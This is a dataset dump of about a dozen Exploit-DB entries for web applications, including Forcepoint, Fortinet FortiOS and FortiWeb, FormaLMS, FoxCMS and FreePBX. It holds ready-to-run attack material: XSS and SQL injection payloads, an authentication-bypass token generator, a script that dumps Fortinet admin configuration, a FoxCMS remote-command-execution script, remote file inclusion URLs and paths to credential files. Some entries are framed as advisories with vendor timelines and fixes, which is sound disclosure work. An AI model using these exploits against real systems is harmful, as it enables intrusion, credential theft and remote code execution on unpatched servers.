deardaniel/secdata-raw huggingface dataset:
Exploit-DB #48029
Description: Forcepoint WebSecurity 8.5 - Reflective Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2020-02-10
Author: Prasenjit Kanti Paul

Exploit:
# Exploit Title: Forcepoint WebSecurity 8.5 - Reflective Cross-Site Scripting
# Exploit Author: Prasenjit Kanti Paul
# Vendor Homepage: https://www.forcepoint.com/
# Software Link: https://www.forcepoint.com/product/cloud-security/web-security
# Version: Forcepoint Web Security 8.5
# Tested on: Windows 7,10 and Linux Mint
# CVE : CVE-2019-6146
# ForcePoint KBA: https://support.forcepoint.com/KBArticle?id=000017702
# Video PoC: https://youtu.be/NfXGaNVK6eE

# Description: User must visit any site which is restricted as per
# forcepoint policy. So that forcepoint web security will show a generic
# page. While parsing "Domain Name" within generic page forcepoint is not
# validating Host header, which caused XSS.

Lets assume, while accessing anysite.com, forcepoint web security prevents
us to go to that website with its custom exception/blocking page. Now
follow the steps below:

*Steps*:

   1. Intercept the traffic while accessing https://anysite.com
   2. Modify the Host header from anysite.com to ">
   <script>alert("evilsite")</script>

*Timeline:*

   - Oct. 21, 2019 - Issue Reported to PSIRT team of ForcePoint
   - Oct. 23, 2019 - ForcePoint team confirms the issue
   - Oct. 24, 2019 - CVE-2019-6146 has been assigned
   - Jan. 23, 2020 - ForcePoint KBA has been published with proper fixes


*Regards,*
*Prasenjit Kanti Paul*
Exploit-DB #38062
Description: Forescout CounterACT - 'a' Open Redirection
Type: webapps
Platform: multiple
Date: 2012-11-26
Author: Joseph Sheridan

Exploit:
source: https://www.securityfocus.com/bid/56687/info

Forescout CounterACT is prone to an open-redirection vulnerability because the application fails to properly sanitize user-supplied input.

A successful exploit may aid in phishing attacks; other attacks are possible.

Forescout CounterACT 6.3.4.1 is vulnerable; other versions may also be affected. 

http://www.example.com/assets/login?a=http://www.evil.com
Exploit-DB #50513
Description: FormaLMS 2.4.4 - Authentication Bypass
Type: webapps
Platform: multiple
Date: 2021-11-11
Author: Cristian \'void\' Giustini

Exploit:
# Exploit Title: FormaLMS 2.4.4 - Authentication Bypass
# Google Dork: inurl:index.php?r=adm/
# Date: 2021-11-10
# Exploit Author: Cristian 'void' Giustini @ Hacktive Security
# Vendor Homepage: https://formalms.org
# Software Link:  https://formalms.org
# Version: <= 2.4.4
# Tested on: Linux
# CVE : CVE-2021-43136

# Info: An authentication bypass issue in FormaLMS <= 2.4.4 allows an attacker to bypass the authentication mechanism and obtain a valid access to the platform.

# Analysis:
https://blog.hacktivesecurity.com/index.php/2021/10/05/cve-2021-43136-formalms-the-evil-default-value-that-leads-to-authentication-bypass/

# Nuclei template:
https://gist.github.com/hacktivesec/d2160025d24c5689d1bc60173914e004#file-formalms-authbypass-yaml

#!/usr/bin/env python

"""

The following exploit generates two URLs with empty and fixed value of the "secret". In order to achieve a successful exploitation the "Enable SSO with a third party software through a token" setting needs to be enabled

"""

import sys
import time
import hashlib

secret = "8ca0f69afeacc7022d1e589221072d6bcf87e39c" 

 def help():

  print(f"Usage: {sys.argv[0]} username target_url")

  sys.exit()

 
if len(sys.argv) < 3:

    help()

user, url = (sys.argv[1], sys.argv[2])
t = str(int(time.time()) + 5000)
token = hashlib.md5(f"{user},{t},{secret}".encode()).hexdigest().upper()
final_url = f"{url}/index.php?login_user={user}&time={t}&token={token}"
print(f"URL with default secret: {final_url}")
token = hashlib.md5(f"{user},{t},".encode()).hexdigest().upper()
final_url = f"{url}/index.php?login_user={user}&time={t}&token={token}"
print(f"URL with empty secret: {final_url}")
Exploit-DB #50759
Description: Fortinet Fortimail 7.0.1 - Reflected Cross-Site Scripting (XSS)
Type: webapps
Platform: multiple
Date: 2022-02-18
Author: Braiant Giraldo Villa

Exploit:
# Exploit Title: Fortinet Fortimail 7.0.1 - Reflected Cross-Site Scripting (XSS)
# Google Dork: inurl:/fmlurlsvc/
# Date: 01-Feb-2022
# Exploit Author: Braiant Giraldo Villa
# Contact: @iron_fortress (Twitter)
# Vendor Homepage: https://www.fortinet.com/products/email-security
# Software Link: https://fortimail.fortidemo.com/m/webmail/ (Vendor Demo Online)
# Version: 
#	FortiMail version 7.0.1 and below
#	FortiMail version 6.4.5 and below
#	FortiMail version 6.2.7 and below
# CVE: CVE-2021-43062 (https://www.fortiguard.com/psirt/FG-IR-21-185)


1. Description:
An improper neutralization of input during web page generation vulnerability ('Cross-site Scripting') [CWE-79] in FortiMail may allow an unauthenticated attacker to perform an XSS attack via crafted HTTP GET requests to the FortiGuard URI protection service.

2. Payload: https%3A%2F%google.com%3CSvg%2Fonload%3Dalert(1)%3E
3. Proof of Concept:
https://mydomain.com/fmlurlsvc/?=&url=https%3A%2F%2Fgoogle.com%3CSvg%2Fonload%3Dalert(1)%3E

4. References
https://www.fortiguard.com/psirt/FG-IR-21-185
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-43062
Exploit-DB #51092
Description: FortiOS_ FortiProxy_ FortiSwitchManager v7.2.1 - Authentication Bypass
Type: webapps
Platform: multiple
Date: 2023-03-27
Author: Felipe Alcantara

Exploit:
# Exploit Title: Fortinet Authentication Bypass v7.2.1 - (FortiOS, FortiProxy, FortiSwitchManager)
# Date: 13/10/2022
# Exploit Author: Felipe Alcantara (Filiplain)
# Vendor Homepage: https://www.fortinet.com/
# Version:
#FortiOS from 7.2.0 to 7.2.1
#FortiOS from 7.0.0 to 7.0.6
#FortiProxy 7.2.0
#FortiProxy from 7.0.0 to 7.0.6
#FortiSwitchManager 7.2.0
#FortiSwitchManager 7.0.0
# Tested on: Kali Linux
# CVE : CVE-2022-40684

# https://github.com/Filiplain/Fortinet-PoC-Auth-Bypass

# Usage: ./poc.sh <ip> <port>
# Example: ./poc.sh 10.10.10.120 8443

#!/bin/bash

red="\e[0;31m\033[1m"
blue="\e[0;34m\033[1m"
yellow="\e[0;33m\033[1m"
end="\033[0m\e[0m"

target=$1
port=$2

vuln () {

echo -e "${yellow}[+] Dumping System Information: ${end}"

timeout 10 curl -s -k -X $'GET' \
    -H $'Host: 127.0.0.1:9980' -H $'User-Agent: Node.js' -H $'Accept-Encoding\": gzip, deflate' -H $'Forwarded: by=\"[127.0.0.1]:80\";for=\"[127.0.0.1]:49490\";proto=http;host=' -H $'X-Forwarded-Vdom: root' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' "https://$target:$port/api/v2/cmdb/system/admin" > $target.out
if [ "$?" == "0" ];then
 grep "results" ./$target.out >/dev/null
 if [ "$?" == "0" ];then
    echo -e "${blue}Vulnerable: Saved to file $PWD/$target.out ${end}"
 else 
    rm -f ./$target.out
    echo -e "${red}Not Vulnerable ${end}"
 fi

else

  echo -e "${red}Not Vulnerable ${end}"
  rm -f ./$target.out

fi


}

vuln
Exploit-DB #52473
Description: FortiWeb Fabric Connector 7.6.x - SQL Injection to Remote Code Execution
Type: webapps
Platform: multiple
Date: 2026-02-04
Author: Milad Karimi (Ex3ptionaL)

Exploit:
# Exploit Title: FortiWeb Fabric Connector 7.6.x - Pre-authentication SQL
Injection to Remote Code Execution
# Date: 2025-10-05
# Exploit Author: Milad Karimi (Ex3ptionaL)
# Contact: miladgrayhat@gmail.com
# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL
# Tested on: Win, Ubuntu
# CVE : CVE-2025-25257

Overview

CVE-2025-25257 is a pre-authentication SQL Injection vulnerability in
Fortinet FortiWeb Fabric Connector versions 7.0 through 7.6.x.
This flaw allows attackers to inject malicious SQL commands into the
vulnerable API endpoint, potentially leading to Remote Code Execution (RCE).


PoC

curl -k -H "Authorization: Bearer aaa' OR '1'='1" \
  https://<fortiweb-ip>/api/fabric/device/status

PoC Python

import requests

def test_sqli(base_url):
    url = f"{base_url}/api/fabric/device/status"
    headers = {
        "Authorization": "Bearer aaa' OR '1'='1"
    }
    try:
        response = requests.get(url, headers=headers, verify=False,
timeout=10)
        print(f"Status code: {response.status_code}")
        print("Response body:")
        print(response.text)
    except Exception as e:
        print(f"Error: {e}")

if __name__ == "__main__":
    import argparse
    parser = argparse.ArgumentParser(description="PoC SQLi By Ex3ptionaL
CVE-2025-25257 FortiWeb")
    parser.add_argument("base_url", help="Base URL of FortiWeb (ex:
https://10.0.0.5)")
    args = parser.parse_args()
    test_sqli(args.base_url)
# python3 src/poc.py https://10.0.0.5
Exploit-DB #52267
Description: FoxCMS 1.2.5 - Remote Code Execution  (RCE)
Type: webapps
Platform: multiple
Date: 2025-04-19
Author: VeryLazyTech

Exploit:
# Date: 2025-04-17
# Exploit Title: 
# Exploit Author: VeryLazyTech
# Vendor Homepage: https://www.foxcms.org/
# Software Link: https://www.foxcms.cn/
# Version: FoxCMS v.1.2.5
# Tested on: Ubuntu 22.04, Windows Server 2019
# CVE: CVE-2025-29306
# Website: https://www.verylazytech.com

#!/bin/bash

banner() {
cat <<'EOF'
  ______     _______   ____   ___ ____  ____    ____   ___ _____  ___   __   
 / ___\ \   / / ____| |___ \ / _ \___ \| ___|  |___ \ / _ \___ / / _ \ / /_  
| |    \ \ / /|  _|     __) | | | |__) |___ \    __) | (_) ||_ \| | | | '_ \ 
| |___  \ V / | |___   / __/| |_| / __/ ___) |  / __/ \__, |__) | |_| | (_) |
 \____|  \_/  |_____| |_____|\___/_____|____/  |_____|  /_/____/ \___/ \___/                                                                             

__     __                _                      _____         _     
\ \   / /__ _ __ _   _  | |    __ _ _____   _  |_   _|__  ___| |__  
 \ \ / / _ \ '__| | | | | |   / _` |_  / | | |   | |/ _ \/ __| '_ \ 
  \ V /  __/ |  | |_| | | |__| (_| |/ /| |_| |   | |  __/ (__| | | |
   \_/ \___|_|   \__, | |_____\__,_/___|\__, |   |_|\___|\___|_| |_|
                 |___/                  |___/                       
                    

                    @VeryLazyTech - Medium
                    
EOF

}

# Call the banner function
banner

set -e

# Check for correct number of arguments
if [ "$#" -ne 2 ]; then
    printf "Usage: $0 <url> <command>"
    exit 1
fi

TARGET=$1

# Encode payload
ENCODED_CMD=$(python3 -c "import urllib.parse; print(urllib.parse.quote('\${@print_r(@system(\"$2\"))}'))")
FULL_URL="${TARGET}?id=${ENCODED_CMD}"

echo "[*] Sending RCE payload: $2"
HTML=$(curl -s "$FULL_URL")

# Extract <ul> from known XPath location using xmllint
UL_CONTENT=$(echo "$HTML" | xmllint --html --xpath "/html/body/header/div[1]/div[2]/div[1]/ul" - 2>/dev/null)

# Strip tags, clean up
CLEANED=$(echo "$UL_CONTENT" | sed 's/<[^>]*>//g' | sed '/^$/d' | sed 's/^[[:space:]]*//')

echo
echo "[+] Command Output:"
echo "$CLEANED"
Exploit-DB #11186
Description: FreePBX 2.5.1 - SQL Injection
Type: webapps
Platform: multiple
Date: 2010-01-18
Author: Ivan Huertas

Exploit:
Advisory Name: SQL injection in FreePBX 2.5.1

Internal Cybsec Advisory Id: 2010-0103

Vulnerability Class: SQL injection

Release Date: 15/01/2010

Affected Applications: Confirmed in FreePBX 2.5.1. Other versions may also
be affected.

Affected Platforms: Any running FreePBX 2.5.1

Local / Remote: Remote

Severity: Medium – CVSS 6.3 (AV:N/AC:M/Au:S/C:C/I:N/A:N)

Researcher: Ivan Huertas

Vendor Status: To be confirmed

Reference to Vulnerability Disclosure Policy:
http://www.cybsec.com/vulnerability_policy.pdf

Vulnerability Description:

A vulnerability has been discovered in FreePBX, which can be exploited by
malicious people to conduct SQL injection attacks.

Input passed via the "extdisplay" parameter to config.php is not properly
sanitized before being used in a SQL query. This can be exploited to
manipulate SQL queries by injecting arbitrary SQL code.

The vulnerability is confirmed in version 2.5.1 Other versions may also be
affected.

Proof of Concept:

http://xxx.xxx.xxx.xxx/admin/config.php?display=did&didfilter=&extdisplay=12%22%20union%20select%20username,password,sections,%221%22,%222%22,%223%22,%224%22,%225%22,%226%22,%227%22,%228%22,%229%22,%2210%22,%2211%22,%2212%22%20from%20ampusers%20where%20%22%22=%22

Impact:

Execute arbitrary SQL queries.






Solution:

Update to FreePBX 2.5.2 or greater

•	http://www.freepbx.org/trac/changeset/7594
•	http://www.freepbx.org/trac/changeset/7640

Vendor Response:

2009-30-12 – Vulnerability was identified
2010-01-07 – Vendor contacted
2010-01-15 – Vulnerability published
Patches were available before the vulnerability was discovered.

Contact Information:

For more information regarding the vulnerability feel free to contact the
researcher at
ihuertas<at> cybsec <dot> com


About CYBSEC S.A. Security Systems:

Since 1996, CYBSEC is engaged exclusively in rendering professional
services specialized in  Information Security. Their area of services
covers Latin America, Spain and over 250 customers are a proof of their
professional life.

To keep objectivity, CYBSEC S.A. does not represent, neither sell, nor is
associated with other  software and/or hardware provider companies.

Our services are strictly focused on Information Security, protecting our
clients from emerging security threats, maintaining their IT deployments
available, safe, and reliable.

Beyond professional services, CYBSEC is continuously researching new
defense and attack techniques
and contributing with the security community with high quality information
exchange.

For more information, please visit www.cybsec.com

(c) 2010 - CYBSEC S.A. Security Systems

===========================================================================
Download:
===========================================================================
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/11186.pdf (CYBSEC-Advisory2010-0103-FreePBX_2_5_1_SQL_Injection.pdf)
Exploit-DB #11187
Description: FreePBX 2.5.x - Information Disclosure
Type: webapps
Platform: multiple
Date: 2010-01-18
Author: Ivan Huertas

Exploit:
Advisory Name: Information disclosure in FreePBX 2.5.x

Internal Cybsec Advisory Id: 2010-0101

Vulnerability Class: Information disclosure

Release Date: 15/01/2010

Affected Applications: Confirmed in FreePBX 2.5.x Other versions may also
be affected

Affected Platforms: Any running FreePBX2.5.x

Local / Remote: Remote

Severity: Medium – CVSS: 4 (AV:N/AC:L/Au:S/C:P/I:N/A:N)

Researcher: Ivan Huertas

Vendor Status: To be confirmed

Reference to Vulnerability Disclosure Policy:
http://www.cybsec.com/vulnerability_policy.pdf

Vulnerability Description:

A user with access to the “administrators” section could see other’s
administrators passwords by viewing the html’s source code.

Proof of Concept:

In http://xx.xx.xx.xx/admin/config.php?display=ampusers&userdisplay=admin

<a href=# class="info">Password<span>Create a password for this new
user</span></a>:
</td><td>
<input type="password" size="20" name="password" value="admin" tabindex="2"/>
</td>

Impact:

A user with access to the “administrator” sections may access to other’s
administrators passwords.

Solution:

Update to v2.6



Vendor Response:

2009-30-12 – Vulnerability was identified
2010-01-07 – Vendor contacted
2010-01-15 – Vulnerability published
Patches were available before the vulnerability was discovered.

Contact Information:

For more information regarding the vulnerability feel free to contact the
researcher at
ihuertas <at> cybsec <dot> com

About CYBSEC S.A. Security Systems

Since 1996, CYBSEC is engaged exclusively in rendering professional
services specialized in Information Security. Their area of services
covers Latin America, Spain and over 250 customers are a proof of their
professional life.

To keep objectivity, CYBSEC S.A. does not represent, neither sell, nor is
associated with other software and/or hardware provider companies.

Our services are strictly focused on Information Security, protecting our
clients from emerging security threats, maintaining their IT deployments
available, safe, and reliable.

Beyond professional services, CYBSEC is continuously researching new
defense and attack techniques and contributing with the security community
with high quality information exchange.

For more information, please visit www.cybsec.com
(c) 2010 - CYBSEC S.A. Security Systems

===========================================================================
Download:
===========================================================================
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/11187.pdf (CYBSEC-Advisory2010-0101-FreePBX_2_5_x_Information_disclosure.pdf)
Exploit-DB #11184
Description: FreePBX 2.5.x < 2.6.0 - Persistent Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2010-01-18
Author: Ivan Huertas

Exploit:
Advisory Name: Permanent Cross-Site Scripting (XSS) in FreePBX 2.5.x – 2.6.0

Internal Cybsec Advisory Id: 2010-0102

Vulnerability Class: Permanent Cross-Site Scripting (XSS)

Release Date: 15/01/2010

Affected Applications: Confirmed in FreePBX  2.5.x and 2.6.0 - Other
versions may also be affected

Affected Platforms: Any running FreePBX 2.5.x and 2.6.0

Local / Remote: Remote

Severity: Medium – CVSS: 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)

Researcher: Ivan Huertas

Vendor Status: Patched

Reference to Vulnerability Disclosure Policy:
http://www.cybsec.com/vulnerability_policy.pdf

Vulnerability Description:

A permanent Cross Site Scripting vulnerability was found in FreePBX 2.5.x
and 2.6, because the application fails to sanitize user-supplied input.
The vulnerability can be triggered by any logged-in user who is able to
add an Inbound Route.

Proof of Concept:

* Add  as a Description in an Inbound
Route.

Impact:

An affected user may unintentionally execute scripts or actions written by
an attacker. In addition, an attacker may obtain authorization cookies
that would allow him to gain unauthorized access to the application.

Solution:

Upgrade to the latest version

•	http://www.freepbx.org/v2/changeset/8589
•	http://www.freepbx.org/v2/changeset/8590
•	http://www.freepbx.org/v2/changeset/8591


Vendor Response:

2009-30-12 – Vulnerability was identified
2010-01-07 – Vendor contacted
2010-01-11 – Vendor confirmed vulnerability
2010-01-14 – Vendor released fixed version
2010-01-15 – Vulnerability published

Contact Information:

For more information regarding the vulnerability feel free to contact the
researcher at
ihuertas <at> cybsec <dot> com

About CYBSEC S.A. Security Systems

Since 1996, CYBSEC is engaged exclusively in rendering professional
services specialized in Information Security. Their area of services
covers Latin America, Spain and over 250 customers are a proof of their
professional life.

To keep objectivity, CYBSEC S.A. does not represent, neither sell, nor is
associated with other software and/or hardware provider companies.

Our services are strictly focused on Information Security, protecting our
clients from emerging security threats, maintaining their IT deployments
available, safe, and reliable.

Beyond professional services, CYBSEC is continuously researching new
defense and attack techniques and contributing with the security community
with high quality information exchange.

For more information, please visit www.cybsec.com
(c) 2010 - CYBSEC S.A. Security Systems

======================================================
Download:
======================================================
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/11184.pdf (CYBSEC-Advisory2010-0102-FreePBX_2_5_x-2_6_Permanent_XSS.pdf)
Exploit-DB #33731
Description: Friendly Technologies TR-069 ACS 2.8.9 - Login SQL Injection
Type: webapps
Platform: multiple
Date: 2010-03-10
Author: Yaniv Miron

Exploit:
source: https://www.securityfocus.com/bid/38634/info

Friendly Technologies TR-069 ACS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, gain administrator access, access or modify data, or exploit latent vulnerabilities in the underlying database.

Friendly Technologies TR-069 ACS 2.8.9 is vulnerable; other versions may also be affected.

The following example data is available:

Username: ' or 1=1--
Password: ' or 1=1--
Exploit-DB #9720
Description: FSphp 0.2.1 - Multiple Remote File Inclusions
Type: webapps
Platform: multiple
Date: 2009-09-18
Author: NoGe

Exploit:
==============================================================================


  [o] FSphp 0.2.1 Multiple Remote File Inclusion Vulnerabilities

       Software : FSphp version 0.2.1
       Vendor   : http://fsphp.sourceforge.net/
       Download : http://sourceforge.net/projects/fsphp/
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com
       Blog     : http://evilc0de.blogspot.com/
       Home     : http://antisecurity.org/


==============================================================================


  [o] Vulnerable file

       include_once $FSPHP_LIB . "/path.php" ;

	 lib/FSphp.php
	 lib/navigation.php
	 lib/pathwirte.php


  [o] Exploit

       http://localhost/[path]/lib/FSphp.php?FSPHP_LIB=[evilc0de]
       http://localhost/[path]/lib/navigation.php?FSPHP_LIB=[evilc0de]
       http://localhost/[path]/lib/pathwirte.php?FSPHP_LIB=[evilc0de]


==============================================================================


  [o] Greetz

       Anti Security [ http://antisecurity.org ]
       Vrs-hCk OoN_BoY Paman zxvf Angela Zhang aJe
       H312Y yooogy mousekill }^-^{ martfella noname s4va
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke


  [o] Note

       SELAMAT HARI RAYA IDUL FITRI
       MOHON MAAF LAHIR BATIN


==============================================================================

# milw0rm.com [2009-09-18]
Exploit-DB #43442
Description: FTP Service < 1.2 - Multiple Vulnerabilities
Type: webapps
Platform: multiple
Date: 2003-06-03
Author: GulfTech Security

Exploit:
FTP Service Multiple Vulnerabilities

Vendor: Pablo Software Solutions
Product: FTP Service
Version: <= 1.2
Website: http://www.pablovandermeer.nl/ftp_service.html

BID: 7799 7801 

Description:
FTPService.exe is a service-version of Pablo's FTP Server. This service enables you to have the FTP server active even when you're not logged into Windows. 

Anonymous Access
The anonymous account is by default set to have download access to anything in the C:\ directory. While this can be disabled by simply deleting the anonymous account, it poses a serious threat for anyone not aware of the problem. 

ftp://somewhere/windows/repair/sam 

In conclusion this application is totally open to complete compromise by default. Vendor was notified and plans on releasing a fix soon. 

Plaintext Password Weakness:
User info is stored in users.dat in plaintext. If the anonymous account is present (it is by default) the entire FTP server can be compromised 

ftp://somewhere/program files/pablo's ftp service/users.dat 

Solution:
Upgrade your version of Pablo FTP Service. 

Credits:
James Bercegay of the GulfTech Security Research Team.